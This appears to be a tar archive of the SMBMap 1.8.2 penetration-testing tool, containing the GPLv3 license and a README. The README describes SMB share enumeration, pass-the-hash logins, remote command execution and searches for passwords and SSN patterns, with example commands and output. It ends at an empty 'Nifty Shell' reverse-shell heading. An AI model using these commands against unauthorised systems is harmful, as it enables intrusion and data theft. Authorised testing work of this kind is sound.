pax_global_header 0000666 0000000 0000000 00000000064 13630034065 0014512 g ustar 00root root 0000000 0000000 52 comment=882e8e414ffdf3f3b96116f422b97555ecb376db
smbmap-1.8.2/ 0000775 0000000 0000000 00000000000 13630034065 0013001 5 ustar 00root root 0000000 0000000 smbmap-1.8.2/LICENSE 0000664 0000000 0000000 00000104461 13630034065 0014014 0 ustar 00root root 0000000 0000000 GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
smbmap-1.8.2/README.md 0000664 0000000 0000000 00000027146 13630034065 0014272 0 ustar 00root root 0000000 0000000 # SMBMap
SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks.
Some of the features have not been thoroughly tested, so changes will be forth coming as bugs are found. I only really find and fix the bugs while I'm on engagements, so progress is a bit slow. Any feedback or bug reports would be appreciated. It's definitely rough around the edges, but I'm just trying to pack in features at the moment. Version 2.0 should clean up the code a lot….whenever that actually happens ;). Thanks for checking it out!!
There's a known oddity in the SMBServer component used for the file content search feature. For some reason it throws an exception in the threading library. It still works, but the error is annoying none the less.
## Install Requirements
```
SMBMap has been updated to Python3!
$ python3 -m pip install -r requirements.txt
```
## Features:
- Pass-the-Hash Support
- File upload/download/delete
- Permission enumeration (writable share, meet Metasploit)
- Remote Command Execution
- Distrubted file content searching (beta!)
- File name matching (with an auto downoad capability)
## Help
```
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
optional arguments:
-h, --help show this help message and exit
Main arguments:
-H HOST IP of host
--host-file FILE File containing a list of hosts
-u USERNAME Username, if omitted null session assumed
-p PASSWORD Password or NTLM hash
-s SHARE Specify a share (default C$), ex 'C$'
-d DOMAIN Domain name (default WORKGROUP)
-P PORT SMB port (default 445)
-v Return the OS version of the remote host
--admin Just report if the user is an admin
Command Execution:
Options for executing commands on the specified host
-x COMMAND Execute a command ex. 'ipconfig /all'
--mode CMDMODE Set the execution method, wmi or psexec, default wmi
Shard drive Search:
Options for searching/enumerating the share of the specified host(s)
-L List all drives on the specified host
-R [PATH] Recursively list dirs, and files (no share\path lists
ALL shares), ex. 'C$\Finance'
-r [PATH] List contents of directory, default is to list root of
all shares, ex. -r 'C$\Documents and
Settings\Administrator\Documents'
-A PATTERN Define a file name pattern (regex) that auto downloads
a file on a match (requires -R or -r), not case
sensitive, ex '(web|global).(asax|config)'
-g Make the output grep friendly, used with -r or -R
(otherwise it outputs nothing)
--dir-only List only directories, ommit files.
--no-write-check Skip check to see if drive grants WRITE access.
-q Quiet verbose output. Only shows shares you have READ
or WRITE on, and suppresses file listing when
performing a search (-A).
--depth DEPTH Traverse a directory tree to a specific depth. Default
is 5.
--exclude SHARE [SHARE ...]
Exclude share(s) from searching and listing, ex.
--exclude ADMIN$ C$'
File Content Search:
Options for searching the content of files (must run as root)
-F PATTERN File content search, -F '[Pp]assword' (requires admin
access to execute commands, and PowerShell on victim
host)
--search-path PATH Specify drive/path to search (used with -F, default
C:\Users), ex 'D:\HR\'
--search-timeout TIMEOUT
Specifcy a timeout (in seconds) before the file search
job gets killed. Default is 300 seconds.
Filesystem interaction:
Options for interacting with the specified host's filesystem
--download PATH Download a file from the remote system,
ex.'C$\temp\passwords.txt'
--upload SRC DST Upload a file to the remote system ex.
'/tmp/payload.exe C$\temp\payload.exe'
--delete PATH TO FILE
Delete a remote file, ex. 'C$\temp\msf.exe'
--skip Skip delete file confirmation prompt
Examples:
$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1
$ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
$ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -h 10.1.3.30 -x 'net group "Domain Admins" /domain'
```
## Default Output:
```
$ ./smbmap.py -H 192.168.12.123 -u administrator -p asdf1234
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.86.39...
[+] IP: 192.168.86.39:445 Name: biffhenderson-pc.lan
Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE Remote Admin
C$ READ, WRITE Default share
IPC$ NO ACCESS Remote IPC
Users READ, WRITE
```
## Command execution:
```
$ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 192.168.2.50
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 192.168.2.50:445 Name: unknown
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
abcadmin
The command completed successfully.
```
## Non recursive path listing (ls):
```
$ python smbmap.py -H 172.16.0.24 -u Administrator -p 'changeMe' -r 'C$\Users'
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 172.16.0.24:445 Name: 172.16.0.24
Disk Permissions
---- -----------
C$ READ, WRITE
.Users
dw--w--w-- 0 Wed Apr 29 13:15:25 2015 .
dw--w--w-- 0 Wed Apr 29 13:15:25 2015 ..
dr--r--r-- 0 Wed Apr 22 14:50:36 2015 Administrator
dr--r--r-- 0 Thu Apr 9 14:46:57 2015 All Users
dw--w--w-- 0 Thu Apr 9 14:46:49 2015 Default
dr--r--r-- 0 Thu Apr 9 14:46:57 2015 Default User
fr--r--r-- 174 Thu Apr 9 14:44:01 2015 desktop.ini
dw--w--w-- 0 Thu Apr 9 14:46:49 2015 Public
dr--r--r-- 0 Wed Apr 22 13:33:01 2015 wingus
```
## File Content Searching:
```
$ python smbmap.py --host-file ~/Desktop/smb-workstation-sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F '[1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]'
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.0.99...
[+] User SMB session established on 192.168.0.85...
[+] User SMB session established on 192.168.0.89...
[+] File search started on 1 hosts...this could take a while
[+] Job 4650e5a97b9f4ca884613f4b started on 192.168.0.99, result will be stored at C:\Temp\4650e5a97b9f4ca884613f4b.txt
[+] File search started on 2 hosts...this could take a while
[+] Job e0c822a802eb455f96259f33 started on 192.168.0.85, result will be stored at C:\Windows\TEMP\e0c822a802eb455f96259f33.txt
[+] File search started on 3 hosts...this could take a while
[+] Job 0a5d352bf2bd4e288e0f8f36 started on 192.168.0.89, result will be stored at C:\Temp\0a5d352bf2bd4e288e0f8f36.txt
[+] Grabbing search results, be patient, share drives tend to be big...
[+] Job 1 of 3 completed on 192.168.0.85...
[+] File successfully deleted: C$\Windows\TEMP\e0c822a802eb455f96259f33.txt
[+] Job 2 of 3 completed on 192.168.0.89...
[+] File successfully deleted: C$\Temp\0a5d352bf2bd4e288e0f8f36.txt
[+] Job 3 of 3 completed on 192.168.0.99...
[+] File successfully deleted: C$\Temp\4650e5a97b9f4ca884613f4b.txt
[+] All jobs complete
Host: 192.168.0.85 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
No matching patterns found
Host: 192.168.0.89 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
C:\Users\terdf\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JY5MGKVO\salesmaps[1].htm
C:\Users\terdf\OldFiles\Cache_2013522\Content.IE5\JY5MGKVO\salesmaps[1].htm
Host: 192.168.0.99 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
C:\Users\biffh\AppData\Local\Microsoft\Internet Explorer\DOMStore\L7W17OPZ\static.olark[1].xml
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\MIY2POGJ\validation[2].js
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Docs[1].htm
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Salesmaps[1].htm
```
## Drive Listing:
This feature was added to complement the file content searching feature
```
$ python smbmap.py -H 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L
[!] Missing domain...defaulting to WORKGROUP
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 192.168.1.24:445 Name: unknown
[+] Host 192.168.1.24 Local Drives: C:\ D:\
[+] Host 192.168.1.24 Net Drive(s):
E: \\vboxsrv\Public VirtualBox Shared Folders
```
## Nifty Shell:
Run Powershell Script on Victim SMB host (change the IP in the code to your IP addres, i.e where the shell connects back to)
```
